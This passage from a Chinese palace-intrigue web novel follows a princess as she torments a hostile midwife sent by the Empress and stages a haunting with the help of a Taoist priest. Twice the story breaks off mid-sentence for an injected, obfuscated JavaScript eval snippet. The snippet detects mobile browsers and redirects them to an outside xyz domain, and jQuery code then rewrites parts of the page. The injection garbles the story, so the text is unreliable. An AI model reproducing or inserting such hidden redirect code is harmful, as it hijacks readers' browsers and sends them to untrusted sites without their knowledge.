起初老皇帝还跟着搭几句腔,后来不知道想到了什么,脸色越来越沉,端坐在那,也不跟沈烨说话了,沉默不语。 沈烨说得口干舌燥,借口府里还有事,和老皇帝招呼一声,告辞走了。 李公公瞧着老皇帝脸色不好,试探性地轻声问道。 “陛下,是不是身子不爽利?老奴去传御医?” 老皇帝摆了摆手,示意不用请御医,自说自话。 “雍国上到朝廷,下到百姓,也相当于一间书房,蠹虫多了,也要啃食朕的江山了。” “工部连递来两道折子,治理绥河清除河道,伸手朝朕要银子,工部修缮皇宫,也来要银子,哪哪都要银子,可国库的银子就那么多,近几年各地收上来的税银一年比一年少,国库捉襟见肘。” 沉吟半晌,抬头看向李公公,“你说……朕是不是也该驱驱蠹虫了?” 李公公假装没听懂,揣着明白装糊涂。 “陛下可错怪老奴了,御书房每年都熏虫,哪里来的蠹虫?” 老皇帝白了一眼李公公,轻哼一声。 “老东西守着自己一亩三分地什么都不想,你能知道什么?” 李公公低头笑了笑。 老皇帝思忖半晌,“三万兵马的日常开销以及所需军饷不是小数目,萧桂云死了,这笔银子的来源还没捋顺,朕该派谁去查?” “萧桂云可是国舅爷啊。” “是乱臣贼子!” 老皇帝纠正李公公叫法,李公公确实提醒他了,一般人动不了这个案子。 喃喃自语:“接着让老九去查?” 李公公点点头,“荣王殿下心眼实诚,是一心为陛下办事的。” 老皇帝认可李公公这句话,本以为老九这孩子心思重,离开雍国十几年,和这边不是一条心,这段日子以来,他多番试探,老九从不抱怨,办事谨慎,不惧强权,一心想着朝廷和百姓。 “老九就是太实诚,他若是像旁人一样,早投到太子麾下,兵部早是他的了,传旨,让老九接着去查吧。” 李公公应声是,带着老皇帝口谕直接前往荣王府。 沈惊澜收到老皇帝调查军饷来源旨意,当天下午就着手在兵部调查。 主管兵部的赵丞相以及兵部尚书周尚书是老皇帝心腹,知道沈惊澜奉旨查案,没为难沈惊澜,一路开了绿灯。 沈惊澜进展得顺利,军饷尚未摸到头绪,先揪出几个腐败官员。 不是吃饱了撑的,没事多管闲事,而是要为将来考虑,老皇帝为沈星驰所有的谋划,不久将来都将成为他们的嫁衣。 他们想接过来的是一个政通令达,百姓安居乐业的江山,而不是现在这般千疮百孔,问题频发的江山。 为感谢沈烨的暗中帮忙,温若初特意命人打造了一枚纯金镶嵌红宝石的火镰送给沈烨。 沈烨平常喜好游山玩水,火镰用得上。 让人把谢礼送过去,没想到沈烨直接回了礼,是一只未经雕琢的象牙,还让人带来莫明其妙的一句话。 “本王不是在帮沈惊澜。” 温若初不懂这话什么意思,明明就是沈惊澜去求的安郡王沈烨,沈烨也确实去找了老皇帝,最后调查军饷来源的案子落在沈惊澜身上。 沈烨不是帮助沈惊澜,还是在帮谁啊? 突然心里一惊,莫不是安郡王沈烨看穿了沈惊澜心思? 第162章 柳妃鬼魂 沈惊澜调查鄞郡那支叛军军饷来源的消息,很快传进翊坤宫。 皇后脸色煞白,呆呆地坐在太师椅里,面上掩饰不住的绝望和不甘。 陛下刚刚因萧桂云私募兵马的事,斥责了她。 三十几年了,陛下第一次对她说重话。 陛下不是都把罪责落在萧桂云身上?怎么转头就说她的不是? 她又没想着用那兵马做什么,只是留给太子以备不时之需,陛下至于因这点小事数落人,还迁怒太子? 她心里委屈,在翊坤宫待了好几日,陛下也没说来瞧瞧她,身边有了一个孙美人伺候,就想不起来旁人了。 没等皇后缓过神,御乾宫那边传出消息,陛下派沈惊澜查她的底…… 皇后的心如坠冰窟,陛下这是嫌弃她人老珠黄了,要把她往绝路上逼。 她该怎么办? 刁嬷嬷见皇后魂不守舍的,一副被吓到了的样子。 抬头吩咐采莲,“去煮一碗酸枣仁茯苓汤来。” 不多时,酸枣仁茯苓汤端了过来,刁嬷嬷让人都下去,汤水端到皇后面前。 “娘娘这酸枣仁茯苓汤能安神,多少喝一些,陛下让沈惊澜去查军饷来源,咱们不能乱了阵脚,太子殿下手里的政务都停了,还指望着您呢。” 皇后面上掩饰不住的慌张。 “沈惊澜能力出众,心思缜密,手里握着天机阁,他想要查,早晚都能查出来,后宫不得干政,陛下早就警告过本宫,陛下若是知道本宫骗了他十年,陛下会不会……” “您是皇后,和陛下是青梅竹马,几十年的夫妻情分,这雍国的江山只要陛下还坐在皇位一天,谁有事,您都不会有事。” 刁嬷嬷握住皇后的手,定定地看着她,低声安抚。 “我们就想办法拖住沈惊澜,让他无法分心查下去,不过是几千万两银子,年代久远,账本不易保存,没了账本,沈惊澜就算是查到了娘娘头上,没有确凿证据,陛下也不能给娘娘定罪。” 皇后找回些心神。 刁嬷嬷说得对,本宫是皇后,只要陛下还是陛下,就没有人能耐本宫如何。 正好,之前她几次下手都没除掉温若初肚子里的小孽种,算算日子,温若初快临盆了,正是好时机。 温若初和两个小孽种若是出了什么三长两短,沈惊澜断然没有管闲事的心思。 她也能空出手来处理账本。 皇后把自己劝好了,又振作起来了。 荣王府 眼瞅临盆日子临近,温若初又亲自整理了一遍生产那日所需物什,看过《甄嬛传》和《美人心计》心里清楚,生产这日尤其重要,用那句“在鬼门关门口走一遭”来形容,一点都不为过。 指着并排摆在地上的几个箱子,吩咐小厮。 “这些都放到那边去。” 沈惊澜最近几日忙着追查鄞郡军饷来源的案子,温若初把院子里都换成自己人,恨不得查祖宗十八代,确认没问题了,才敢留下。 几个小厮合力把大箱子挪到一边,门房的人来通传。 “启禀王妃娘娘,翊坤宫的刁嬷嬷来了,要求见娘娘。” 上次温若初和皇后闹了一个半红脸,就差没撕破脸了。 沈惊澜又在查皇后的底。 皇后这个时候派刁嬷嬷过来,怕是来者不善。 温若初正喝着清茶,她的手顿了一下。 屋里几个丫头像是炸毛猫一样,一下子警惕起来,秋菊更是直言道。 “翊坤宫的人来见娘娘做什么?不见!” 温若初抬手制止秋菊,打狗还得看主人呢,人家是皇后,是嫡母,她若是避而不见,没等沈惊澜查出皇后的罪证,皇后完全可以先治她个目无尊长,违逆懿旨的罪。 让人带刁嬷嬷进来。 刁嬷嬷打开门帘走了进来,身后还跟着一个四十岁左右的妇人。 刁嬷嬷上前对温若初恭顺地屈膝行了一个万福礼。 “老奴见过荣王妃娘娘。” 温若初靠坐在椅子里,抬眼看向刁嬷嬷。 “嬷嬷这次来,是母后有什么懿旨?” 刁嬷嬷笑了笑,“荣王妃娘娘果然聪慧,皇后娘娘掐算着荣王妃娘娘的日子,想着也快临盆了,女子生产本就辛苦,娘娘肚子里怀的还是双生子,更不能马虎大意,特意亲自挑选了一个手法厉害的稳婆,来助荣王妃娘娘生产。” “皇后娘娘可是惦记着荣王妃娘娘,娘娘可千万别辜负了皇后娘娘的好意。” 回手把带来的中年妇人推到前,介绍道。 “这位是花嬷嬷,就让花嬷嬷助娘娘生产。” 花嬷嬷给温若初见了一个礼。 “老奴花氏见过娘娘,老奴奉皇后娘娘懿旨,助荣王妃娘娘生产。” “母后找的人,自然是顶好的,”温若初面上带着浅浅的得体笑意,不显异色,“劳烦刁嬷嬷代本宫回谢母后。” “荣王妃娘娘满意就好,娘娘的意思老奴回去定转达皇后娘娘。” “老奴还要回禀皇后娘娘,就不叨扰荣王妃娘娘了。” 刁嬷嬷扭头叮嘱花嬷嬷,“务必照顾好荣王妃娘娘,每隔一日禀告荣王妃身子,是好是坏不得隐瞒,娘娘肚子里怀的可是双胎,若出现什么差池,皇后娘娘拿你是问!”双胎两个字加了重音。 花嬷嬷抬头对上刁嬷嬷视线,“老奴谨遵皇后娘娘懿旨。” 刁嬷嬷走后,温若初吩咐丫鬟。 “花嬷嬷是贵客,去带花嬷嬷挑一间厢房。” 花嬷嬷:“娘娘客气了,老奴受皇后娘娘懿旨伺候娘娘,老奴有块木板睡觉就行。” “那怎么能成,本宫生产那日可就指望着嬷嬷了,嬷嬷可要休息好了,养足了精神。” 温若初好话赖话都递了过去,花嬷嬷推脱不得,只能跟着丫鬟去挑厢房。 月儿伸脖子瞅了一眼门口,确定花嬷嬷走远,愤愤道。 “说什么助公主生产的稳婆,依奴婢看就是黄鼠狼给鸡半年,没安好心。” 秋菊一脸疑惑,犹豫半晌问温若初。 “公主,咱们府上半个月前请了三个稳婆了,一直都在后院候着,您为何还要留下这个花嬷嬷,这个花嬷嬷可不是善茬。” 温若初当然知道皇后此举没安好心。 沈惊澜追查鄞郡军费来源,正是关键时刻,不能分心。 皇后派花嬷嬷过来就是专门对付她,用她来拖住沈惊澜。 “皇后打定主意对付我,就算今日寻借口推拒了稳婆花嬷嬷,明日还会有奶娘张嬷嬷,李嬷嬷。” 秋菊一听就着急了,面上掩饰不住的关心。 “公主快临盆了,留这样一个祸害在身边,可如何是好?” 温若初想起柳妃死的那日,嘴角流血,瞪着眼睛倒在皇后面前,皇后看向柳妃那惊惧害怕回避的眼神。 翊坤宫里供奉着佛像。 由此可见,皇后是信奉佛祖鬼神之人。 信这个就好办多了。 吩咐秋菊,“去请个有名气的道士过来,就说……本宫最近心慌睡不着觉,昨晚梦到柳妃的鬼魂了,让道士过来做场法事驱鬼。” 秋菊不敢耽搁,赶紧应声出府,去雍国最有名望的龙虎山去找广成子道长。 第163章 本宫地盘岂能让外人撒野 午膳过后,温若初坐在太师椅里,眯着眼睛消化食,一下一下地轻抚小腹。 一堆丫鬟嬷嬷伺候在一边,伺候端茶水的端茶水,拿扇子扇风的扇风,众人各司其职,皇后派来的花嬷嬷也在。 花嬷嬷迟疑半晌,上前道:“王妃娘娘正得空,容老奴为娘娘摩挲摩挲肚子正正胎位,过两日临盆的时候不至于遭罪。” 说着话撸起袖子挽了挽袖子,就要上前碰温若初的肚子。 黄兰立马拦在温若初面前,一脸警惕地盯着花嬷嬷。 黄兰从小习武,几年前进入天机阁,算是数一数二的顶尖杀手,一身飒爽杀伐之气,怒目圆瞪的时候好像要吃人。 花嬷嬷满脸横肉闪着油光,脸皮拉得老长,下意识后退两小步,偏头看向温若初,面色阴沉。 “娘娘,这是何意?”声音听起来明显不悦。 “老奴可是奉皇后娘娘懿旨来给荣王妃娘娘助产,娘娘可不要让老奴为难啊。” 温若初打了一个哈欠,“嬷嬷说得哪里话,嬷嬷受母后懿旨照看本宫,本宫感激嬷嬷还来不及,又怎会有意为难?” “实在是本宫昨晚做了噩梦没睡好,疲乏得厉害,想眯一会儿,本宫的丫鬟心疼本宫,无意冲撞嬷嬷。” 嘴角扯出一抹温和笑意,抬眼看向花嬷嬷。 “本宫的丫鬟无心之过,嬷嬷宽宏大量不会和本宫的丫鬟一般计较吧?” 温若初语气客气,为秋菊开脱的同时顺带抬了抬花嬷嬷。 花嬷嬷貌似很受用,腰板不觉挺了挺,鼻孔朝上。 来的时候刁嬷嬷反复和她念叨好几遍,温若初不好对付,让她务必小心。 她还以为这个温若初是多厉害的角色,眼下看来也不过如此。 在雍国除了陛下,就顶数皇后娘娘最为尊贵,她可是皇后娘娘的人,谁能不给她三分薄面。 “老奴是皇后娘娘的人,自然不会和一个小丫头一般计较。” 花嬷嬷顿了顿道:“多晒太阳对娘娘和未出世的小公子都大有裨益,左右娘娘也是要眯着,就到院子中间眯着,也好晒晒太阳。” 午膳过后正是晌午,太阳最毒最热的时候,青石地面冒着腾腾暑气,落在地面上的树叶都被晒得打起了卷儿,鸡蛋摊在上面都能烤熟,狗踩上去都烫脚。 让一个即将临盆的孕妇大太阳底下晒着,说什么对大人和孩子好,明摆着故意整人。 这话可算是惹了众怒了,丫鬟们一个两个的眼神都变了,温若初赶紧轻咳一声示意众人稍安勿躁。 皇后就是故意找茬寻错处,干扰沈惊澜调查鄞郡军饷来源,她们千万别被拿住话柄,着了旁人的道。 温若初看向刁嬷嬷,一个老妖婆,她不过是看在皇后的面子上,递过去两句好话,这个花嬷嬷还真当自己是瓣蒜了。 这里可是她的地盘,又怎么会让一个老妖婆欺负到头上。 后院还停着两门火炮呢,别说是皇后身边一个嬷嬷,就算是皇后亲自来了,她也不怕。 她嘴角带着盈盈笑意。 “好啊,不过……本宫有一个习惯,本宫晌午歇着的时候习惯有人在耳边诵读《妙法莲华经》,母后信佛,花嬷嬷是母后得脸的嬷嬷,一定会《妙法莲华经》。” 温若初站起身,“不会也没关系,本宫这里有手抄本,花嬷嬷诵读即可。” 花嬷嬷抬头瞅了瞅挂在头顶的太阳,她站在阴凉下都热得直冒汗,站在院子里给温若初诵读经书,可是要了老命。 花嬷嬷嘴角抽了抽,推脱道。 “老奴声音难听,恐污了娘娘的耳朵。” “嬷嬷不是说奉母后得懿旨照看本宫的,怎么……”温若初眼神犀利,带着几分威胁意味,“嬷嬷难不成是阳奉阴违诓骗母后?并非真心照顾本宫?” 花嬷嬷平常仗着有皇后撑腰,欺软怕硬习惯了,温若初端起架子,她的气势就一下子弱了下来。 “老奴不敢……” 温若初没给花嬷嬷推脱机会,递给月儿一个眼神,月儿转身回屋拿出一份《妙法莲华经》,塞进花嬷嬷手里。 “花嬷嬷,请吧!” 手上做着“请”的手势,连推带搡把花嬷嬷推到院子中央无遮挡的地方。 差人把躺椅抬到院子中央枣树下,又让下人端来几盆冰,一切准备妥当,温若初坐在躺椅里,直接躺下。 太阳虽毒,仗着围着一圈冰,一阵风吹来,夹带着死死凉气,头顶枣树沙沙作响,倒也凉爽惬意。 不过是半盏茶的功夫,日影倾斜,枣树树荫逐渐遮到温若初身上。 温若初撑着胳膊,瞅了一眼花嬷嬷。 花嬷嬷满是横肉的脸被太阳炙烤得像刚出锅的大螃蟹,通红通红的,顺着稍显圆润的脸颊直淌汗,不过是说话的功夫,深色衣衫汗湿了一大片。 《妙法莲华经》还没诵读一半,嗓音听起来就有些沙哑无力了。 显然,花嬷嬷并不好受。 温若初笑了笑,“母后心疼本宫,送来的人果然也是能干有本事的,回头本宫定会在母后面前为嬷嬷美言几句。” 花嬷嬷诵读经文,哄着温若初歇着。 她热得头晕目眩,口干舌燥的,荣王府的这些死丫头也不说给她一口茶水喝。 偏她稍一停下,温若初的丫鬟就催着她接着诵读,后槽牙咬得咔吱咔吱直响。 偷偷瞄了一眼温若初,眼神怨毒。 皇后娘娘可没打算让温若初他们母子活着,待到温若初临盆那日,今日的仇她定要报回来。 温若初嚣张不了几日,且等着吧! 温若初听着耳边嘟囔声,美美地睡了一觉。 等她睡醒,耳边诵读经文的声音没有了,温若初伸了一个懒腰,看向她睡着之前,花嬷嬷站的地方,眼下人已经不见了,枣树树荫也遮到了那里。 她揉了揉眼睛,“人呢?” 月儿捂嘴咯咯直笑,“晕倒了,已让人抬屋里去了,上吐下泻的,这会应该醒了。” “晕倒了?” 有一个人在耳边念经,睡得还挺踏实的,温若初砸砸嘴,花嬷嬷身材肥硕,四十多岁的年纪大概是在太阳底下暴晒中暑了。 和月儿说着话,温若初注意到廊柱后面闪过一抹肥硕身影。 她做出一脸关切表情,声音稍稍抬高。 “花嬷嬷可是母后的人,赶紧找大夫给花嬷嬷瞧瞧,上好的汤药都用上,花嬷嬷诵读的经和旁人读出来的就是不一样,本宫睡得格外踏实,明天晌午晒太阳的时候,本宫还需要花嬷嬷接着诵读经文呢。” 月儿应声,“已经用着了,古叔说了,花嬷嬷身子骨硬朗,明日还能为公主诵读经文,助娘娘安睡。” 主仆两人说话,一字不差地传到廊柱后。 花嬷嬷脸色煞白,一脸的虚弱,她喝了半碗参汤,刚刚醒过来,过来监视温若初在做什么,没想到竟然听到了这番话。 她走路都直打晃,胃现在还难受着。温若初竞想着明日也让她顶着毒太阳诵读经文? 还上好的汤药都用在她身上? 生怕她明天起不来! 花嬷嬷心如死灰地叹了一口气。 “怎么遇到这么一个活阎王,真是作孽啊。” 第164章 活阎王 窗外漆黑一片,屋内蜡烛燃烧过半,温若初坐在房间里刚读完一本话本,低头揉了揉太阳穴,抬头一看映在窗棱上的肥硕身影依然在。 由衷佩服这位花嬷嬷,还真是皇后样的一条好狗,一把年纪了,得了严重暑热,硬挺着也要监视她。 月儿也瞧见了躲在门外的花嬷嬷,压低声音怒骂。 “这人还真是没脸没皮,总在这也不是那么回事,公主您得想个法子把她弄走。” 温若初放下话本,瞥了一眼门外身影。 自然是要把她弄走。 眼下花嬷嬷还有用。 估算着时辰,秋菊和冯文这会应该到龙虎山见到广成子了,明日能折返回都城。 她略微思忖片刻,瞅了一眼漆黑窗外,蜡烛火苗被风吹得摇摇晃晃,今夜的风有些大,花嬷嬷所住厢房有一扇窗年久失修。 温若初计上心头,对月儿勾勾手指,示意附耳过来。 耳语道:“你这样……” 月儿一脸震惊,“这能行吗?” “包行的,按我说的去做!” 主仆俩对视一眼,不约而同无声坏笑。 月儿定定点点头,推门出去。 门板被骤然推开,花嬷嬷装作偶然经过的样子,淡淡扫了一眼月儿。 月儿恭顺地屈膝行了一个万福礼。 “见过嬷嬷。” 花嬷嬷点了点头算作回应,就要走。 月儿叫住花嬷嬷,“嬷嬷留步。” 四下看了看,一脸神秘凑上前,神神叨叨地压低声音说道。 “荣王府最近晚上闹鬼,嬷嬷在房间里睡觉,夜半子时不管听到什么声音,可千万别出声。” 花嬷嬷一脸狐疑地看着月儿,明显不相信月儿所说。 “荣王府的丫鬟还真是没规矩,乱嚼舌根搬弄是非,小心我回头禀皇后娘娘掌你的嘴!” “奴婢不敢诓骗嬷嬷,奴婢是瞧着嬷嬷是个心善的,不忍心嬷嬷蒙在鼓里,好心提醒……” 月儿瞅了一眼温若初房间,声音压得更低了。 “……不然嬷嬷以为王妃娘娘为何白日如此贪睡?那鬼魂晚上是要来索命的,都已经失踪五个人了,生不见人死不见尸的。” 一阵夜风吹来,带着丝丝凉意,花嬷嬷无意识打了一个冷颤,脸色白了几分,斜睨了一眼月儿。 “你这小妮子,莫要瞎说,赶紧回去!” 深夜,打更人的棒子敲了三下,正是三更时分,荣王府安静下来,只留下几个当值的,众人各自安睡。 花嬷嬷等温若初那屋熄灯了才回屋,洗漱过后刚躺床上,木窗冷不防被风吹开,咣当一声。 花嬷嬷吓了一大跳,后背渗出一层冷汗,想起月儿起闹鬼之事,虽不相信这些怪力乱神,此时竟然也生出几分惧怕来。 总觉得吹在她身上的冷风透着一股子阴气。 起身关上木窗,还没等她走到床边,身后传来“呜呜”声。 似鬼哭狼嚎,婴孩啼哭,时断时续,寂静夜里听着格外瘆人。 花嬷嬷身上鸡皮疙瘩都起来了,壮着胆子推门查看,屋外空无一人,风吹动树干剧烈摇摆,树叶沙沙作响,树影婆娑,张牙舞爪地映在地面上,像一个个刚从地狱里爬出来鬼影,叫嚣着寻找替死鬼。 花嬷嬷脸色吓得煞白,拢了拢衣裳,大声朝空无一人的四周咒骂。 “我可是皇后娘娘的人,奉皇后娘娘懿旨照看荣王妃娘娘,哪个不长眼的敢戏弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572803|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,回头禀告娘娘让你们吃不了兜着走!” 风停,鬼哭狼嚎声骤歇,等她合上木窗,又起了风,那瘆人的声音又起来了。 花嬷嬷膝盖发软跌坐在地,一脸恐惧,牙关打颤,喃喃道。 “这荣王府不会真的闹鬼吧?” 隔天,一大早碧空如洗,**无云。 温若初刚起床,月儿端着温水进来,伺候温若初梳洗。 一脸兴奋地八卦,天刚亮的时候,花嬷嬷顶着两个黑眼圈,语无伦次地问她昨晚有没有看到鬼。 “那个花嬷嬷应该是吓破了胆子,和奴婢说完话回屋了,现在还没出来。” 月儿在她发髻上插了一只牡丹金步摇,“咱们公主和姑爷都是得神仙庇佑的,就算是真有恶鬼,也不敢来咱们荣王府兴风作浪。” 顿了顿,像是想起什么是的,“奴婢昨晚没听见什么动静,花嬷嬷从哪里看见的鬼魂?” 温若初瞅了月儿一眼,“你房间的木窗关不严实,有大风的晚上,你也能听见鬼哭狼嚎的声音。” 不过是气流通过,产生的卡门涡街效应罢了。 昨晚让月儿“透露”给花嬷嬷王府闹鬼,晚上就听到鬼哭狼嚎的声音,就算是不相信,也要往鬼怪身上想了。 晌午用完午膳,也不见花嬷嬷出来,估摸是让月儿说着了,花嬷嬷昨晚没睡,这会正补觉呢。 得罪了她,还想在她的地盘上睡安稳觉,简直就是做梦。 温若初吩咐黄兰。 “今天的太阳也不错,晌午了本宫要晒晒太阳,请花嬷嬷出来诵读《妙法莲华经》,别人读的经文本宫睡不着花嬷嬷年纪大了,再去给花嬷嬷煮点薄荷水,降暑又清凉,省着犯困。” 第165章 请道长来“驱鬼” 黄兰得令,腿脚利索,身手了得,没一会儿就拎着花嬷嬷出来了。 拎小鸡仔似的,往院子里一扔。 花嬷嬷知道了这个黄兰的厉害,也清楚在温若初这里讨不到便宜。 到底是学聪明了,脚步踉跄了两步,险些摔倒也不敢知声。 敢怒不敢言。 温若初惬意地躺在躺椅里,椅子边围着五六盆冰,笑意盈盈地看着花嬷嬷。 “辛苦嬷嬷了。” 花嬷嬷一脸疲态,黑眼圈极重,有用的消息没打探到,老胳膊老腿闹了一身毛病。 刚喝了一盏薄荷水才勉强有点精神,这会强撑着精神站在这,脑子晕晕乎乎,大腿肚子都直抽筋。 刚才听过来听那些小妮子说,昨晚荣王府又失踪一个丫鬟。 花嬷嬷心里比吃了黄连还苦,要不是皇后娘娘让她留在这,她早不在这鬼地方待着了。 还没等花嬷嬷站稳,黄兰就把《妙法莲华经》塞进花嬷嬷手里。 花嬷嬷低头瞅了一眼经文,强撑着诵读两句,两眼一黑,什么都不知道了。 温若初刚闭上眼皮,耳边没了诵读经文的声音,反而一阵低笑传进耳朵,撩起眼皮看过去。 花嬷嬷竟然又晕倒了。 温若初两条柳叶眉微微蹙了蹙,“快扶屋里去,把本宫藏的那株老山参拿出来给花嬷嬷熬煮上。” 几个粗使嬷嬷抬着花嬷嬷回屋了,小院安静下来。 温若初打了一个哈欠,嘴里嘀咕。 “这么快就不行,这位花嬷嬷的战斗力,一般般啊。” 做戏做全套,昨晚特意打发一个丫鬟去乡下庄子里住两日,放出消息迷惑花嬷嬷。 老妖婆,看她能撑几日? 没了耳边嘟囔经文的声音,温若初挪回屋里,浅浅小憩一会儿,等她睡醒,秋菊和冯文已经带着从龙虎山的广成子道长回来了。 下人告诉她,广成子在前厅正等候着。 温若初换了一身衣衫去前厅见广成子。 只见前厅端坐一人,身穿烟青色粗布麻衣,眉眼清冷,身形消瘦,见温若初进来,起身,躬身行了一个礼。 “贫道龙虎山广成子,见过荣王妃娘娘。” “道长无需客套,请坐,本宫请道长来,是求道长一件事。” 温若初走上前,做到上首位。 广成子道:“贵府的人已同贫道讲过了,只是贫道有一事不明。” “道长请讲。” “昨晚贫道夜观星象,见紫微星东移,天市垣光芒大盛,与荣王府所在方位遥相呼应……” 说到这里打住,没继续说下去,广成子别有深意地笑了笑继续道。 “……荣王殿下和王妃大富大贵之命,将来必有大造化,贫道观娘娘天庭饱满,眉间紫光大盛,更是命格显贵,寻常鬼怪难以近身,娘娘如何断言又鬼魂缠身?” 温若初尴尬地笑了笑,“并非本宫有意诓骗道长……” 前因后果一五一十和广成子说了。 广成子眉心紧蹙,似乎对温若初把他诓骗过来心生不满,不大愿意帮这个忙,缓缓开口道。 “贫道乃出家之人,此等装神弄鬼把戏,有违祖师爷教诲。不如这样,贫道留下两道平安福,送给两位小公子,也算是全了贫道得见娘娘一面的缘分。” 广成子已经隐晦地拒绝了。 温若初也不恼,“本宫代校尉小公子谢过道长,龙虎山距离都城近百里。道长舟车劳顿,在府中歇息一日,明日再走,本宫还想捐些功德,劳烦道长替本宫代劳。” 本来让秋菊请广成子来就是为了吓唬花嬷嬷和皇后,以印证柳妃鬼魂索命一事。 广成子在她院子里做场法事,这场戏能逼真一些。 广成子秉性正直,不愿意坏了道行,帮她装神弄鬼演戏,温若初尊重他。 留广成子在府里住上一日,效果没有做法事来得直接有效,也勉强凑合。 想起夏分的师傅玄真子。 夏分的母亲王嬷嬷曾经伺候过王首青,虽说王嬷嬷为医治夏分的心疾,走错了路,帮温清柔对付过她。 温若初并未因王嬷嬷迁怒夏分。 王嬷嬷死后,温若初还特意去看过夏分,给了她治病的银子。 夏分认玄真子为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572804|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师后,夏分的病好了,跟随玄真子云游之前还曾送过她一尊雕刻王首青的木雕。 那尊木雕…… 温若初被沈惊澜掳了出来,那尊木雕还在上京博阳侯府苍兰苑里。 近些日子一直忙着和老皇帝,皇后,沈星驰周旋,没得空。等得空了,得派人把那尊木雕带回来,这是后话。 眼下她快要临盆了,容不得半点闪失,她需要一个绝对的安全环境,趁临盆之前,得想法子折腾花嬷嬷,让花嬷嬷以及背后的皇后没有精力对她使坏。 沈惊澜筋脉受伤,武功尽失,在苍兰苑养病的时候,温若初四处寻找玉骨丹帮沈惊澜恢复筋脉。 后来通过夏分认识了玄真子,玄真子手上正好有玉骨丹,玄真子想要他们手上的火灵珠。 双方互相交换,和玄真子也算是有点交情。 事后打听过,玄真子颇有名气,当时四处寻找玉骨丹,可能如广成子所说,是缘分不到。 广成子也很有名气。 这些有点名气的道长,他们之间大多数都认识。 温若初抱着试试看的心态,提了一句玄真子,广成子还真认识玄真子,两人的师傅是同门师兄弟。 温若初又燃起了希望,眼角眉梢带着笑意。 “还真是巧啊,本宫和玄真子方道长有些私交,王爷还得过方道长照拂,能有如今健硕身子,方道长功不可没。” 大家有了共同相熟的人,广成子言辞间的疏离冷淡少了许多。 “师兄医术精湛,就是性子过于孤僻,甚少主动给人医治,师兄能亲手为王爷诊病,想必王妃王爷和师兄的交情颇深。” 温若初点头笑着,不置可否。 玄真子能为沈惊澜诊病治伤,完全是因为玄真子想要他们手里的火灵珠。 广成子认为他们交情深就交情深吧。 温若初又把话题拉回“装神弄鬼”上,抚了抚隆起的腹部。 “本宫请道长来,也是为了自保,道长若是能帮本宫这个忙,本宫和王爷都会记下道长这份恩情,待日后有了机缘,本宫愿为龙虎山三清重塑金身。” 第166章 ** 广成子同意了。 当晚在院子里支起法坛,排场很大。 广成子身穿明黄色道袍,脚踏北斗天罡步,手执桃木剑,嘴里念叨着人听不懂的咒语。 广成子说驱邪避鬼的法事不能随便做,开设了一个祈求家宅安宁五谷丰登的法坛。 只广成子和温若初知道这个法坛真实用意。 看在旁人眼里,尤其是近些日子神情恍惚,深受鬼怪惊扰的人,深信不疑温若初请了道士过来,就是为了驱鬼。 花嬷嬷站在人堆里,双手合十,哆里哆嗦的,嘴里悄悄念叨。 “福生无量天尊,妖魔鬼怪快走开!” 也是巧了,广成子昨晚法事的当晚,又刮起大风,风雨交加,电闪雷鸣的。 雨势持续了一整晚,隔天一大早,雨稍微小了一些。 广成子一大早冒雨走了,温若初差人取了五百两银票托广成子带回龙虎山,当做给她的功德。 天色一直不见晴,不能出去晒太阳了。 午膳过后,温若初没见花嬷嬷人影,她躺在摇椅里,咂了一口茶,随口问。 “花嬷嬷人呢,又在睡觉?” “这回是真病了,连早饭带午饭都没用。” 月儿在温若初手边添了一碟子点心,“方才还张罗着见广成子道长呢,一听广成子走了,哭得比**爹娘还伤心,哭晕过去了,这会还意识不清呢。” 温若初嘴角勾起胜利的弧度。 “看来这位花嬷嬷是真消停了。” 拿起点心咬了半口,抬眼看向伺候在一边的秋菊。 “去熬煮些上好的参汤,或者王八汤,给花嬷嬷吊着。” 折腾归折腾,花嬷嬷到底是皇后的人,可得悠着点,不能把人折腾**,留着一口气半死不活最好。 说着话,下人隔着门帘子通传。 “王妃娘娘,门口有一个自称叫小玉的姑娘求见。” 小玉是月儿引荐过来的绣娘,年纪还没月儿大,娘亲早早没了,爹爹瘫痪在床,家里还有弟弟妹妹,一大家子人指望着小玉。 温若初见小玉绣工精湛,也是因月儿引荐,温若初做主,府里衣裳只要不急着用的,都包给了小玉。 下人们每个季度都会发两套衣裳,是荣王府特有福利,温若初也大方,给小玉整个都城最高价。 小玉指望着荣王府这一单,小玉足可养活一大家子人,甚至还能带上几个绣娘一起赚这份钱。 平常都是月儿和小玉联络,一个绣娘贸然请见主家,有点不合乎常理。 温若初瞅了月儿一眼,月儿也是一脸莫名,显然月儿也不知这个小玉今日会来。 “让人进来吧。” 没一会儿,进来一个身材又瘦又小的小姑娘。 小姑娘眉眼清秀,身上穿着洗得掉色的粗布衣裙,怀里抱着一个包裹。 包裹里好像藏着什么宝贝,紧紧地抱着,身上衣裙被雨水打湿大片,包裹上一滴雨点都没淋到。 小玉十二岁,月儿年长小玉一岁,两人私下里以姐妹相称。一岁的年纪差,瘦弱得比月儿矮上大半头。 小小年纪眉头紧紧蹙着,像是有什么烦心事。 小玉低头进屋,径直走到温若初面前,恭敬地行礼一个万福礼。 “月儿见过王妃娘娘。” 小玉紧紧抓着怀里包裹,一脸歉意地低头看着被泥水打湿的鞋面,走过来的一路,在织花羊毛地毯上留下一排湿鞋印。 